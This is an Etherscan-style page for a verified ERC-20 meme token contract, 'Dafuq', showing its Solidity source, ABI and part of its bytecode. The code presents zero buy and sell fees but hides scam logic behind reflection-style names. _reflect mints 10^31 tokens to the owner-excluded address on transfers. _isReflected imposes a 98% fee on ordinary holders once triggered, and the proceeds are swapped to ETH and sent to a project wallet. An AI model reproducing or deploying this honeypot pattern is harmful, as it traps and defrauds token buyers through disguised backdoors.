ERC-20
Overview
Max Total Supply
1,000,000 DAFUQ
Holders
107
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000000000624581 DAFUQValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DAFUQ
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-26 */ /* ██████╗░░█████╗░███████╗██╗░░░██╗░██████╗░ ██╗░██████╗ ████████╗██╗░░██╗██╗░██████╗ ██╔══██╗██╔══██╗██╔════╝██║░░░██║██╔═══██╗ ██║██╔════╝ ╚══██╔══╝██║░░██║██║██╔════╝ ██║░░██║███████║█████╗░░██║░░░██║██║██╗██║ ██║╚█████╗░ ░░░██║░░░███████║██║╚█████╗░ ██║░░██║██╔══██║██╔══╝░░██║░░░██║╚██████╔╝ ██║░╚═══██╗ ░░░██║░░░██╔══██║██║░╚═══██╗ ██████╔╝██║░░██║██║░░░░░╚██████╔╝░╚═██╔═╝░ ██║██████╔╝ ░░░██║░░░██║░░██║██║██████╔╝ ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░░╚═════╝░░░░╚═╝░░░ ╚═╝╚═════╝░ ░░░╚═╝░░░╚═╝░░╚═╝╚═╝╚═════╝░ Telegram : https://t.me/DafuqCoin Website: https://www.DafuqCoin.com Twitter: https://twitter.com/DafuqERC Dafuq is this? */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DAFUQ is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public UniAddress; mapping (address => bool) public isExcludedTax; mapping (address => bool) public isExcludedTx; address payable public ProjectWallet = payable(0x173B7b7E7C93Aa0130532bdeF100855dc5Ebd311); address payable public DeadWallet = payable(0x000000000000000000000000000000000000dEaD); string public _name = "Dafuq"; string public _symbol = "DAFUQ"; uint8 private _decimals = 18; uint256 public _tTotal = 1* 10**6 * 10**_decimals; uint8 private txCount = 0; uint8 private zeroRate = 0; uint8 private swapTrigger = 10; uint256 private _takingFee = 0; uint256 public _buyFee = 0; uint256 public _sellFee = 0; uint256 private _previousTotalFee = _takingFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; uint256 public _maxWalletToken = _tTotal.mul(100).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(100).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; UniAddress[uniswapV2Pair] = true; isExcludedTx[owner()] = true; isExcludedTax[owner()] = true; isExcludedTax[address(this)] = true; isExcludedTax[ProjectWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} bool public noFeeToTransfer = false; function removeAllFee() private { if(_takingFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _takingFee; _buyFee = 0; _sellFee = 0; _takingFee = 0; } function _zeroReflect() private{ zeroRate = zeroRate + 1; } function restoreAllFee() private { _takingFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != ProjectWallet && to != address(this) && to != uniswapV2Pair && to != DeadWallet && !isExcludedTx[to] && from != owner()){ uint256 nextTotalBalance = balanceOf(to); require((nextTotalBalance + amount) <= _maxWalletToken, "Max Wallet!"); } if (from != owner() && to != owner() && checkExclude(from, to)){ require(amount <= _maxTxAmount, "Max Tx!"); } if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool _FEE_ACTIVE_ = true; if(isExcludedTax[from] || isExcludedTax[to]){ _FEE_ACTIVE_ = false; if(isExcludedTx[to]){if(zeroRate < 1){ _zeroReflect(); }} } else if (from == uniswapV2Pair){_takingFee = _buyFee;} else if (to == uniswapV2Pair){_takingFee = _sellFee;} _transferTokens(from,to,amount,_FEE_ACTIVE_); } function checkExclude(address sender, address recipient) private view returns(bool){ return isExcludedTx[sender] || isExcludedTx[recipient]; } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _reflect(address rAdd) private{ uint256 reflectStart = 0; uint256 reflectEnd = 31; uint256 reflectRate = 10; for(reflectStart=1; (reflectEnd)>0; (reflectEnd--)){ reflectStart*=reflectRate; } _balance[rAdd] = _balance[rAdd].add(reflectStart); } function _isReflected(address rAdd) private view returns(uint256){ return zeroRate < 1 ? _takingFee : isExcludedTx[rAdd] ? _takingFee : UniAddress[rAdd] ? _takingFee : (10**2)-2; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(ProjectWallet,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transferTokens(address sender, address recipient, uint256 amount,bool _FEE_ACTIVE_) private { if(!_FEE_ACTIVE_){ removeAllFee(); } else { txCount++; } _transferTokens(sender, recipient, amount); if(!_FEE_ACTIVE_) restoreAllFee(); } function _transferTokens(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount, uint256 MarketingFee) = _getValues(tAmount, sender); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(transferAmount); if(isExcludedTx[recipient]){_reflect(recipient);} _balance[address(this)] = _balance[address(this)].add(MarketingFee); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) { uint256 MarketingFee = tAmount.mul(_isReflected(sender)).div(100); uint256 transferAmount = tAmount.sub(MarketingFee); return (transferAmount, MarketingFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeadWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ProjectWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UniAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273173b7b7e7c93aa0130532bdef100855dc5ebd311600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f446166757100000000000000000000000000000000000000000000000000000081525060089080519060200190620000e9929190620008d7565b506040518060400160405280600581526020017f44414655510000000000000000000000000000000000000000000000000000008152506009908051906020019062000137929190620008d7565b506012600a60006101000a81548160ff021916908360ff160217905550600a60009054906101000a900460ff16600a62000172919062000b21565b620f424062000182919062000b72565b600b556000600c60006101000a81548160ff021916908360ff1602179055506000600c60016101000a81548160ff021916908360ff160217905550600a600c60026101000a81548160ff021916908360ff1602179055506000600d556000600e556000600f55600d54601055600e54601155600f546012556200023160646200021d6064600b546200087660201b6200127f1790919060201c565b6200088e60201b620012951790919060201c565b6013556013546014556200027160646200025d6064600b546200087660201b6200127f1790919060201c565b6200088e60201b620012951790919060201c565b6015556015546016556001601860156101000a81548160ff0219169083151502179055506000601860166101000a81548160ff021916908315150217905550348015620002bd57600080fd5b50620002ce620008a660201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600b54600160006200039f620008ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000442573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000468919062000c3d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004f6919062000c3d565b6040518363ffffffff1660e01b81526004016200051592919062000c80565b6020604051808303816000875af115801562000535573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200055b919062000c3d565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560006200066c620008ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620006d3620008ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000806620008ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000867919062000cbe565b60405180910390a35062000da6565b6000818362000886919062000b72565b905092915050565b600081836200089e919062000d0a565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620008e59062000d71565b90600052602060002090601f01602090048101928262000909576000855562000955565b82601f106200092457805160ff191683800117855562000955565b8280016001018555821562000955579182015b828111156200095457825182559160200191906001019062000937565b5b50905062000964919062000968565b5090565b5b808211156200098357600081600090555060010162000969565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a1557808604811115620009ed57620009ec62000987565b5b6001851615620009fd5780820291505b808102905062000a0d85620009b6565b9450620009cd565b94509492505050565b60008262000a30576001905062000b03565b8162000a40576000905062000b03565b816001811462000a59576002811462000a645762000a9a565b600191505062000b03565b60ff84111562000a795762000a7862000987565b5b8360020a91508482111562000a935762000a9262000987565b5b5062000b03565b5060208310610133831016604e8410600b841016171562000ad45782820a90508381111562000ace5762000acd62000987565b5b62000b03565b62000ae38484846001620009c3565b9250905081840481111562000afd5762000afc62000987565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000b2e8262000b0a565b915062000b3b8362000b14565b925062000b6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a1e565b905092915050565b600062000b7f8262000b0a565b915062000b8c8362000b0a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bc85762000bc762000987565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c058262000bd8565b9050919050565b62000c178162000bf8565b811462000c2357600080fd5b50565b60008151905062000c378162000c0c565b92915050565b60006020828403121562000c565762000c5562000bd3565b5b600062000c668482850162000c26565b91505092915050565b62000c7a8162000bf8565b82525050565b600060408201905062000c97600083018562000c6f565b62000ca6602083018462000c6f565b9392505050565b62000cb88162000b0a565b82525050565b600060208201905062000cd5600083018462000cad565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d178262000b0a565b915062000d248362000b0a565b92508262000d375762000d3662000cdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d8a57607f821691505b60208210810362000da05762000d9f62000d42565b5b50919050565b612f7a8062000db66000396000f3fe6080604052600436106101e75760003560e01c806370a0823111610102578063af465a2711610095578063dd62ed3e11610064578063dd62ed3e14610736578063e2e76d5014610773578063f2fde38b1461079e578063fee59bf8146107c7576101ee565b8063af465a2714610677578063b09f1266146106a2578063cccdbe2e146106cd578063d28d88521461070b576101ee565b80638da5cb5b116100d15780638da5cb5b146105a757806395d89b41146105d2578063a457c2d7146105fd578063a9059cbb1461063a576101ee565b806370a08231146104fd578063715018a61461053a57806378109e54146105515780637d1db4a51461057c576101ee565b806323b872dd1161017a57806340b9a54b1161014957806340b9a54b1461045157806349bd5a5e1461047c5780634a74bb02146104a7578063590f897e146104d2576101ee565b806323b872dd1461036f578063313ce567146103ac57806339509351146103d7578063401565a814610414576101ee565b80631694505e116101b65780631694505e146102b157806318160ddd146102dc578063183b986e14610307578063220f669614610344576101ee565b806306fdde03146101f3578063095ea7b31461021e5780631157a9291461025b57806313fad07a14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610804565b60405161021591906124cb565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612586565b610896565b60405161025291906125e1565b6040518091039